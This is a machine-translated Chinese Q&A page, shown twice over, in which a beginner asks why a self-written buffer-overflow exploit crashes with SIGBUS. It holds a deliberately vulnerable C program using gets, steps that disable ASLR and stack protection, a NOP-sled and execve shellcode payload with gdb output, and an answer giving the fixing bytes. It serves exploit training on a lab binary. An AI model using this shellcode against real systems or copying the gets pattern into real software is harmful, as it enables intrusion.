Linux: 简单 C 程序的缓冲区溢出给 SIGBUS
Linux: Buffer overflow of simple C program is giving SIGBUS
我是二进制漏洞利用的初学者,我正在接受缓冲区溢出漏洞利用的培训。我做了一个没用的小C程序:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
setbuf(stdout, NULL);
char buffer[64];
puts("\nWELCOME TO THE REMOTE TEMP CLEANER SERVICE\n");
printf("Please enter a password: ");
gets(buffer);
puts("\n");
if(strcmp(buffer, "securepassword1234") == 0) {
puts("[+] Password correct.");
puts("[*] Cleaning temp folder..");
system("/bin/rm -rf /tmp/*");
puts("[+] Done!");
puts("[*] Disconnecting...");
return 0;
} else {
puts("[-] Incorrect password.");
puts("[*] Disconnecting...");
return 1;
}
return 0;
}
出于培训目的,我正在尝试利用其中的缓冲区溢出漏洞。
我做了 echo 0 > /proc/sys/kernel/randomize_via_space
,并使用 -fno-stack-protector
和 -z execstack
标志用 gcc 编译。
我启动了 gdb,经过一些研究尝试 运行使用这个输入
在另一个终端上:
echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x42\x42\x42\x42\x42\x42")'` > input
(所以 nopslide + shellcode + return 地址,现在只是 6 倍 \x42 用于测试目的。我在 shellcode 上找到=23=],我用这个是因为我在 64 位系统上)
在 gdb 上:r < input
它给了我这个结果:
Starting program: /root/remotetempclean < input
WELCOME TO THE REMOTE TEMP CLEANER SERVICE
Please enter a password:
[-] Incorrect password.
[*] Disconnecting...
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb)
(gdb)
(gdb)
(gdb)
(gdb) info register
rax 0x1 1
rbx 0x0 0
rcx 0x7ffff7b06134 140737348919604
rdx 0x7ffff7dd48c0 140737351862464
rsi 0x7ffff7dd37e3 140737351858147
rdi 0x0 0
rbp 0x50f3bb05e545752 0x50f3bb05e545752
rsp 0x7fffffffe1d0 0x7fffffffe1d0
r8 0x7ffff7fd14c0 140737353946304
r9 0x0 0
r10 0x88b 2187
r11 0x246 582
r12 0x5555555546e0 93824992233184
r13 0x7fffffffe2a0 140737488347808
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type <return> to continue, or q <return> to quit---
gs 0x0 0
(gdb)
因此RIP 寄存器已成功被0x42 字节覆盖。所以在那之后我检查了堆栈,在我的 nopslide 中搜索一个新的 return 地址:
(gdb) x/50x $rsp-65
0x7fffffffe18f: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe19f: 0x90909090 0x90909090 0x90909090 0xc0319090
0x7fffffffe1af: 0x9dd1bb48 0x8cd09196 0xf748ff97 0x5f5453db
0x7fffffffe1bf: 0x54575299 0x0f3bb05e 0x42424205 0x00424242
0x7fffffffe1cf: 0x00000000 0x00000000 0xffe2a800 0x007fffff
0x7fffffffe1df: 0x04000000 0x00000100 0x5547ea00 0x00555555
0x7fffffffe1ef: 0x00000000 0x00000000 0xdc57b600 0x7da82efc
0x7fffffffe1ff: 0x5546e040 0x00555555 0xffe2a000 0x007fffff
0x7fffffffe20f: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe21f: 0xfc57b600 0x28fd7bae 0x2257b615 0x28edc399
0x7fffffffe22f: 0x00000015 0x00000000 0x00000000 0x00000000
0x7fffffffe23f: 0x00000000 0x00000000 0xffe2b800 0x007fffff
0x7fffffffe24f: 0xffe17000 0x007ffff7
所以这个 0x7fffffffe18f
地址看起来不错,它在 nopslide 的中间。所以我将输入修改为:
echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x8f\xe1\xff\xff\xff\x7f")'` > input
所以现在我想我应该有一个 shell,但是当我 运行 程序时...
(gdb) r < input
Starting program: /root/remotetempclean < input
WELCOME TO THE REMOTE TEMP CLEANER SERVICE
Please enter a password:
[-] Incorrect password.
[*] Disconnecting...
Program received signal SIGBUS, Bus error.
0x00007fffffffe1c0 in ?? ()
(gdb) info registers
rax 0x0 0
rbx 0x68732f6e69622f 29400045130965551
rcx 0x7ffff7b06134 140737348919604
rdx 0x0 0
rsi 0x7ffff7dd37e3 140737351858147
rdi 0x7fffffffe1c8 140737488347592
rbp 0x50f3bb05e545752 0x50f3bb05e545752
rsp 0x7fffffffe1c8 0x7fffffffe1c8
r8 0x7ffff7fd14c0 140737353946304
r9 0x0 0
r10 0x88b 2187
r11 0x246 582
r12 0x5555555546e0 93824992233184
r13 0x7fffffffe2a0 140737488347808
r14 0x0 0
r15 0x0 0
rip 0x7fffffffe1c0 0x7fffffffe1c0
eflags 0x10213 [ CF AF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type <return> to continue, or q <return> to quit---
gs 0x0 0
(gdb)
RIP 已经 "magically" 变成了 0x7fffffffe1c0
?它给出了一个 SIGBUS,我不明白为什么......我做错了什么?
问题是:
- 你把可执行代码放到栈上,
- 您调用
puts
,这会覆盖堆栈,
- 你 return 到堆栈上的(现在已损坏的)代码。
当我注释掉 gets
之后的所有代码时(实际上只是紧随其后的 return),然后 shell 代码保持不变......只是被 本身 当它执行 push
es 时——这非常令人困惑,因为你的 $rsp
和 $rip
指向同一个地方。
将 sub ,$rsp
(字节:\x48\x83\xec\x40
)添加到 shell 代码的开头可以解决该问题。
我是二进制漏洞利用的初学者,我正在接受缓冲区溢出漏洞利用的培训。我做了一个没用的小C程序:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
setbuf(stdout, NULL);
char buffer[64];
puts("\nWELCOME TO THE REMOTE TEMP CLEANER SERVICE\n");
printf("Please enter a password: ");
gets(buffer);
puts("\n");
if(strcmp(buffer, "securepassword1234") == 0) {
puts("[+] Password correct.");
puts("[*] Cleaning temp folder..");
system("/bin/rm -rf /tmp/*");
puts("[+] Done!");
puts("[*] Disconnecting...");
return 0;
} else {
puts("[-] Incorrect password.");
puts("[*] Disconnecting...");
return 1;
}
return 0;
}
出于培训目的,我正在尝试利用其中的缓冲区溢出漏洞。
我做了 echo 0 > /proc/sys/kernel/randomize_via_space
,并使用 -fno-stack-protector
和 -z execstack
标志用 gcc 编译。
我启动了 gdb,经过一些研究尝试 运行使用这个输入
在另一个终端上:
echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x42\x42\x42\x42\x42\x42")'` > input
(所以 nopslide + shellcode + return 地址,现在只是 6 倍 \x42 用于测试目的。我在 shellcode 上找到=23=],我用这个是因为我在 64 位系统上)
在 gdb 上:r < input
它给了我这个结果:
Starting program: /root/remotetempclean < input
WELCOME TO THE REMOTE TEMP CLEANER SERVICE
Please enter a password:
[-] Incorrect password.
[*] Disconnecting...
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb)
(gdb)
(gdb)
(gdb)
(gdb) info register
rax 0x1 1
rbx 0x0 0
rcx 0x7ffff7b06134 140737348919604
rdx 0x7ffff7dd48c0 140737351862464
rsi 0x7ffff7dd37e3 140737351858147
rdi 0x0 0
rbp 0x50f3bb05e545752 0x50f3bb05e545752
rsp 0x7fffffffe1d0 0x7fffffffe1d0
r8 0x7ffff7fd14c0 140737353946304
r9 0x0 0
r10 0x88b 2187
r11 0x246 582
r12 0x5555555546e0 93824992233184
r13 0x7fffffffe2a0 140737488347808
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type <return> to continue, or q <return> to quit---
gs 0x0 0
(gdb)
因此RIP 寄存器已成功被0x42 字节覆盖。所以在那之后我检查了堆栈,在我的 nopslide 中搜索一个新的 return 地址:
(gdb) x/50x $rsp-65
0x7fffffffe18f: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe19f: 0x90909090 0x90909090 0x90909090 0xc0319090
0x7fffffffe1af: 0x9dd1bb48 0x8cd09196 0xf748ff97 0x5f5453db
0x7fffffffe1bf: 0x54575299 0x0f3bb05e 0x42424205 0x00424242
0x7fffffffe1cf: 0x00000000 0x00000000 0xffe2a800 0x007fffff
0x7fffffffe1df: 0x04000000 0x00000100 0x5547ea00 0x00555555
0x7fffffffe1ef: 0x00000000 0x00000000 0xdc57b600 0x7da82efc
0x7fffffffe1ff: 0x5546e040 0x00555555 0xffe2a000 0x007fffff
0x7fffffffe20f: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe21f: 0xfc57b600 0x28fd7bae 0x2257b615 0x28edc399
0x7fffffffe22f: 0x00000015 0x00000000 0x00000000 0x00000000
0x7fffffffe23f: 0x00000000 0x00000000 0xffe2b800 0x007fffff
0x7fffffffe24f: 0xffe17000 0x007ffff7
所以这个 0x7fffffffe18f
地址看起来不错,它在 nopslide 的中间。所以我将输入修改为:
echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x8f\xe1\xff\xff\xff\x7f")'` > input
所以现在我想我应该有一个 shell,但是当我 运行 程序时...
(gdb) r < input
Starting program: /root/remotetempclean < input
WELCOME TO THE REMOTE TEMP CLEANER SERVICE
Please enter a password:
[-] Incorrect password.
[*] Disconnecting...
Program received signal SIGBUS, Bus error.
0x00007fffffffe1c0 in ?? ()
(gdb) info registers
rax 0x0 0
rbx 0x68732f6e69622f 29400045130965551
rcx 0x7ffff7b06134 140737348919604
rdx 0x0 0
rsi 0x7ffff7dd37e3 140737351858147
rdi 0x7fffffffe1c8 140737488347592
rbp 0x50f3bb05e545752 0x50f3bb05e545752
rsp 0x7fffffffe1c8 0x7fffffffe1c8
r8 0x7ffff7fd14c0 140737353946304
r9 0x0 0
r10 0x88b 2187
r11 0x246 582
r12 0x5555555546e0 93824992233184
r13 0x7fffffffe2a0 140737488347808
r14 0x0 0
r15 0x0 0
rip 0x7fffffffe1c0 0x7fffffffe1c0
eflags 0x10213 [ CF AF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type <return> to continue, or q <return> to quit---
gs 0x0 0
(gdb)
RIP 已经 "magically" 变成了 0x7fffffffe1c0
?它给出了一个 SIGBUS,我不明白为什么......我做错了什么?
问题是:
- 你把可执行代码放到栈上,
- 您调用
puts
,这会覆盖堆栈, - 你 return 到堆栈上的(现在已损坏的)代码。
当我注释掉 gets
之后的所有代码时(实际上只是紧随其后的 return),然后 shell 代码保持不变......只是被 本身 当它执行 push
es 时——这非常令人困惑,因为你的 $rsp
和 $rip
指向同一个地方。
将 sub ,$rsp
(字节:\x48\x83\xec\x40
)添加到 shell 代码的开头可以解决该问题。